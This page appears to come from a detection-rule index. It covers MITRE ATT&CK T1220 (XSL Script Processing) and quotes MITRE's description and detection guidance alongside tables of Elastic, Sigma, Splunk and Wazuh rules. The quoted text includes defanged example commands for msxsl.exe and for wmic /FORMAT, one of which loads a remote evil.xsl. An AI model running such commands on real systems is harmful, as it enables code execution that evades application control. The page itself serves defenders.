Cross-source coverage

T1220 / ATT&CK

XSL Script Processing

20 rules · 19 families across 5 sources.

From MITRE ATT&CK 19.2

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.

Command-line examples:

  • msxsl.exe customers[.]xml script[.]xsl
  • msxsl.exe script[.]xsl script[.]xsl
  • msxsl.exe script[.]jpeg script[.]jpeg

Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.

Command-line examples:

  • Local File: wmic process list /FORMAT:evil[.]xsl
  • Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Tactics
Stealth
Platforms
Windows
Telemetry
WinEventLog:Sysmon

How MITRE says to detect it DET0205

Detect XSL Script Abuse via msxsl and wmic

Windows Analytic 0581

Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).

  • WinEventLog:Sysmon EventCode=1
  • WinEventLog:Sysmon EventCode=7

elastic/protections-artifacts

6 rules
Detection Severity Format
Inhibit System Recovery via Signed Binary Proxy Undefined Elastic TOML
Managed .NET Code Execution via Windows Script Interpreter Undefined Elastic TOML
Script Execution via MSXSL Undefined Elastic TOML
Suspicious API Call via Windows Script Interpreter Undefined Elastic TOML
Suspicious Windows Schedule Child Process Undefined Elastic TOML
Suspicious WMIC XSL Script Execution Undefined Elastic TOML

SigmaHQ/sigma

5 rules
Detection Severity Format
Potential Remote SquiblyTwo Technique Execution High Sigma
Remote XSL Execution Via Msxsl.EXE High Sigma
Msxsl.EXE Execution Medium Sigma
WMIC Loading Scripting Libraries Medium Sigma
XSL Script Execution Via WMIC.EXE Medium Sigma

elastic/detection-rules

4 rules
Detection Severity Format
Suspicious WMIC XSL Script Execution Medium Elastic TOML
Delayed Execution via Ping Low Elastic TOML
Network Connection via MsXsl Low Elastic TOML
Remote XSL Script Execution via COM Low Elastic TOML

splunk/security_content

3 rules
Detection Severity Format
Cisco NVM - Suspicious Network Connection Initiated via MsXsl Undefined SPL
WMIC XSL Execution via URL Undefined SPL
XSL Script Execution With WMIC Undefined SPL

socfortress/Wazuh-Rules

2 rules
Detection Severity Format
Sysmon - Event 1: Process creation · MSXSL XSL Script Execution (T1220) High Wazuh XML
Sysmon - Event 1: Process creation · WMIC XSL Script Execution (T1220) High Wazuh XML

Detection rules belong to the projects that publish them and remain under their own licenses. This site indexes and links to them; it claims no rights in them.